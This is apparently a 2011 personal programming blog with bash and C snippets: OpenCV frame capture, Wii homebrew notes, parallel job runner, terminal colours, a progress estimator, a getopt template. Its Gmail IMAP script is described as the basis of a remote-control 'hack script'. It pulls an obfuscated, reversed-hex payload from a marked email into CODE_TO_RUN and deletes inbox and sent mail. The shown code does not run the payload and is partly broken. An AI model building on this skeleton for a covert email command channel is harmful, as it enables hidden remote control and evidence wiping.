IplImage* img = 0;
while ( black_image_detector(img) ) {
if (debugging) sprintf( msglog, "[DEBUG] black_image_detector retornou true... continua loop..." );
if (debugging) write_log(&msglog[0]);
if(!cvGrabFrame(capture)){ // capture a frame
sprintf( msglog, "[FATAL] PROCESSO INTERROMPIDO! Motivo: Impossivel captura um frame da camera. Arquivo solicitado: [%s]...", outfilename );
write_log(&msglog[0]);
exit(1);
}
if (debugging) sprintf( msglog, "[DEBUG] passou do cvGrabFrame ok ..." );
if (debugging) write_log(&msglog[0]);
img=cvRetrieveFrame(capture,0); // retrieve the captured frame
if (debugging) sprintf( msglog, "[DEBUG] passou do cvRetrieveFrame..." );
if (debugging) write_log(&msglog[0]);
if ( img == NULL || img == 0 ) cvWaitKey(100);
}
if (debugging) sprintf( msglog, "[DEBUG] black_image_detector retornou false" );
if (debugging) write_log(&msglog[0]);
cvSaveImage(outfilename, img, 0);
// FECHANDO...
sprintf( msglog, "[INFO] OK ! Processo terminado normalmente. Arquivo capturado: [%s]...", outfilename );
write_log(&msglog[0]);
close_log();
cvReleaseCapture(&capture);
return 0;
}

Wii Development

2011-12-25T00:58:00.002-02:00

There's a great opensource option to nintendo wii development.
DevKitPPC from DevKitPro. It provides a lot of example and a great stuff to you start your game.
You can too download any source from wiibrew.org and study it.

The devkitppc use the homebrew channel in a fantastic way to turn the development so ease.

The homebrew channel start to listen a port and you can run any code direct from your PC.

To install the homebrew channel do not need hardware modifications in wii, all can be done using only soft hacks.

I'm currently learning more about wii development, may be I post some really interesting latter like some of my codes running in wii.

Gmail acess via bash - IMAP

2011-08-15T14:58:00.014-03:00

I wrote this script to make a way to read you emails from gmail via BASH, some time after I remaked it to a hack script to remote control any O.S. that use bash:

This time only the gmail access... may be I'll post the powerful script someday.

    #!/bin/bash

    GMAIL_USER="your_gmail_user";

    GMAIL_PW="your_password";

    AUTH_HASH="$(echo -en "${GMAIL_USER} ${GMAIL_USER} ${GMAIL_PW}" | base64)";

    SLEEP_TIME=2;

    TOTAL_MESSAGES="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

    )";


    TOTAL_MESSAGES_SENDED="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

    )";


    LAST_MAIL="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

    sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL";

    sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]";

    sleep ${SLEEP_TIME}; echo "A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)";

    sleep ${SLEEP_TIME}; echo "a09 expunge";

    sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

    sleep ${SLEEP_TIME}; echo "A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)";

    sleep ${SLEEP_TIME}; echo "A09 expunge";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r"

    )"


    SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"\([^"]*\)".*/\1/g')";

    DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "\([^ ]*\)" "\([^"]*\)".*/\1@\2/g')"

    # CODE_TO_RUN="$(echo -e "$LAST_MAIL" | sed -n "/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p")";

    CODE_TO_RUN="$(echo -e "$LAST_MAIL" | tr -d "\n" | grep "NOISSES_KCAH_TRATS" | sed "s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g" | xxd -r --ps | rev )";


    [ "$DEST_ADDR" == "mailer-daemon@google.com" ] && break;

    grep "Delivery to the following recipient failed permanently" <( echo -e "${LAST_MAIL}" ) && break;

    (( ${TOTAL_MESSAGES:=0} == 0 )) && break;


    MAIL_BODY="$(

    {

    [ echo -e "

    # ---------------------------------------------------------- #

    # RESPONSE VIA BASH #

    # --------------------- ORIGINAL MESSAGE ------------------- #

    \n${LAST_MAIL}

    ";

    }

    )";



    openssl s_client -crlf -connect smtp.gmail.com:465 < <(

    sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}";

    sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}";

    sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>";

    sleep $SLEEP_TIME; echo "rcpt to:";

    sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>";

    sleep $SLEEP_TIME; echo "DATA";

    sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}";

    sleep $SLEEP_TIME; echo "Subject: $SUBJECT";

    sleep $SLEEP_TIME; echo "To: ${DEST_ADDR}";

    sleep $SLEEP_TIME; echo "";

    sleep $SLEEP_TIME; echo -e "${MAIL_BODY}";

    sleep $SLEEP_TIME; echo "";

    sleep $SLEEP_TIME; echo ".";

    sleep $SLEEP_TIME; echo "quit";

    sleep $SLEEP_TIME;

    ) 2>&1 | cat - > /dev/null

Running various commands in bash with limits

2011-05-03T17:42:00.000-03:00

Running various commands in bash with limits

# Run various commands at sametime in bash
#!/bin/bash

NUM_MAX_THREADS=200;
IN_FILE="filein.txt";
OUT_FILE="fileout.txt";
CURR_LINE=0;
SECONDS=0;
SECONDS_AVG=0;
TOTAL_LINES=$(cat $IN_FILE | wc -l);
LINE_START_AT="$1";

# echo the time statistics
time (
# read the in file
cat $IN_FILE |
# get the row,
while read LINE;
do
# jumps at the start line
if [[ $CURR_LINE -lt $LINE_START_AT ]]; then
echo "Jumping line... $(( CURR_LINE++ ))";
continue;
fi;
# if don't got processed
if [[ $(grep $LINE $OUT_FILE|wc -l) -eq 0 ]]; then
# check the number of threads running
THREADS_IN_USE=$( ps -Afe | grep wget | grep 'YOURCOMMAND' | wc -l );
# if over the limits, wait to free...
while [[ $THREADS_IN_USE -gt $NUM_MAX_THREADS ]];
do echo "WAITING THREADS TO GET DONE ($THREADS_IN_USE RUNNING)...";
sleep 1;
THREADS_IN_USE=$( ps -Afe | grep wget | grep 'YOURCOMMAND' | wc -l );
done;
# runs the command
{
echo $( YOURCOMMAND "$LINE" ) >> $OUT_FILE;
} &
fi;
# TIP, use my estimate.sh to get the remaining time.
# get the process average per second.
NUM_LINES_DONE=$(cat $OUT_FILE | wc -l);
SECONDS=$(date "+%s");
if [[ $SECONDS -gt $(( SECONDS_AVG + 10 )) ]]; then
SECONDS_ACTUAL=$(( SECONDS - SECONDS_AVG ));
NUM_LINES_DONE_MEDIA=$(( NUM_LINES_DONE - NUM_LINES_DONE_ANT ));
NUM_LINES_DONE_ANT=$NUM_LINES_DONE;
SECONDS_AVG=$SECONDS;
MEDIA=$(( NUM_LINES_DONE_MEDIA / SECONDS_ACTUAL ));
NUM_LINES_REMAINING=$(( TOTAL_LINES - NUM_LINES_DONE ));
REMAINING_TIME=$(( NUM_LINES_REMAINING * MEDIA ));
fi;
# echoes the status and qtd of active threads
echo "Threads running: ${THREADS_IN_USE}, Lines done: $NUM_LINES_DONE, processing line: $(( CURR_LINE++)), MEDIA: $MEDIA Lines/Second, Remaining time: $REMAINING_TIME SECONDS;";
done;
);

give color to your scripts

2011-05-03T17:21:00.002-03:00

Use the below codes in bash using 'echo -e ' to colorize your output.

#!/bin/bash
#
# Description:
#
# Prints a color table of 8bg * 8fg * 2 states (regular/bold)
#
# Copyright:
#
# (C) 2009 Wolfgang Frisch <xororand@unfoog.de>
#
# License:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

echo
echo Table for 16-color terminal escape sequences.
echo Replace ESC with \\033 in bash.
echo
echo "Background | Foreground colors"
echo "---------------------------------------------------------------------"
for((bg=40;bg<=47;bg++)); do
for((bold=0;bold<=1;bold++)) do
echo -en "\033[0m"" ESC[${bg}m | "
for((fg=30;fg<=37;fg++)); do
if [ $bold == "0" ]; then
echo -en "\033[${bg}m\033[${fg}m [${fg}m "
else
echo -en "\033[${bg}m\033[1;${fg}m [1;${fg}m"
fi
done
echo -e "\033[0m"
done
echo "--------------------------------------------------------------------- "
done

echo
echo

estimate.sh

2011-05-03T17:14:00.003-03:00

A cool script whoted by myself to calculate the remaining time to a file achieve a number of lines.

devtools:/srv/scripts # cat estimate.sh
#!/bin/bash
# estimate the remaining time for a file to achieve a number
# of lines
# usage
# <scriptName> <fileName> <totaloflines>
file="$1";
vmax=$2;
tini=$(date +%s);
vini=$(cat $file | wc -l);
while ( sleep 1 );
do
# get the current number of rows
vact=$(cat $file | wc -l);
# get the rows recovered since the start of script
vela=$((vact-vini));
# get the current time in seconds
tact=$(date +%s);
# get the time elapsed in seconds since the start of script
tela=$((tact-tini));

# discover the average of rows added per second
if (( $tela > 0 )); then
vave=$((vela / tela));
fi;
# get rows remaining
vrem=$(( vmax - vact ))
# get the estimated remaining time
if (( $vave > 0 )); then
trem=$(( vrem / vave ))
fi;

hr=$((trem / 3600 ))
mr=$((trem / 60 % 60 ))
sr=$((trem % 60 ))

echo "Linhas processadas: $vact; linhas restantes: $vrem; tempo restante: $hr:$mr:$sr;";
done;

gnu bash script template

2011-05-03T17:10:00.002-03:00

If you want to do a nice script in gnu way you may think useful:

#
# A sample program illustrating shell option parsing.
#
# Copyright (C) 2007 by Bob Proulx <[EMAIL PROTECTED]>.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.

version=0.0

progname=$(basename $0)

print_help()
{
cat <<'EOF'
Usage: exampleprog [options] SOURCE...
or: exampleprog [options] DIRECTORY

Do something with something. Write your man page description here.

Options:
--help print this help message
--version print program version
-a, --alpha do alpa
-b, --bravo=STRING do bravo
-d, --debug debug program
-q, --quiet quiet output
-v, --verbose verbose output

Examples:

The most common use is to run it like this.

$ exampleprog

But sometimes like this.

$ exampleprog -q -a --bravo=foo

Report bugs to .
EOF
}

print_version()
{
cat <.
There is NO WARRANTY, to the extent permitted by law.

Written by Bob Proulx.
EOF
}

SHORTOPTS="ab:dqv"
LONGOPTS="help,version,alpha,bravo:,debug,quiet,verbose"

if $(getopt -T >/dev/null 2>&1) ; [ $? = 4 ] ; then # New longopts getopt.
OPTS=$(getopt -o $SHORTOPTS --long $LONGOPTS -n "$progname" -- "$@")
else # Old classic getopt.
# Special handling for --help and --version on old getopt.
case $1 in --help) print_help ; exit 0 ;; esac
case $1 in --version) print_version ; exit 0 ;; esac
OPTS=$(getopt $SHORTOPTS "$@")
fi

if [ $? -ne 0 ]; then
echo "'$progname --help' for more information" 1>&2
exit 1
fi

eval set -- "$OPTS"

alpha=false
bravo=""
debug=false
quiet=false
verbose=false
while [ $# -gt 0 ]; do
: debug: $1
case $1 in
--help)
print_help
exit 0
;;
--version)
print_version
exit 0
;;
-a|--alpha)
alpha=true
shift
;;
-b|--bravo)
bravo=$2
shift 2
;;
-d|--debug)
debug=true
shift
;;
-q|--quiet)
quiet=true
shift
;;
-v|--verbose)
verbose=true
shift
;;
--)
shift
break
;;
*)
echo "Internal Error: option processing error: $1" 1>&2
exit 1
;;
esac
done

if $verbose; then
echo "Verbose output here."
fi

if ! $quiet; then
echo Say stuff here.
fi

$debug && echo No bugs found here.

exit 0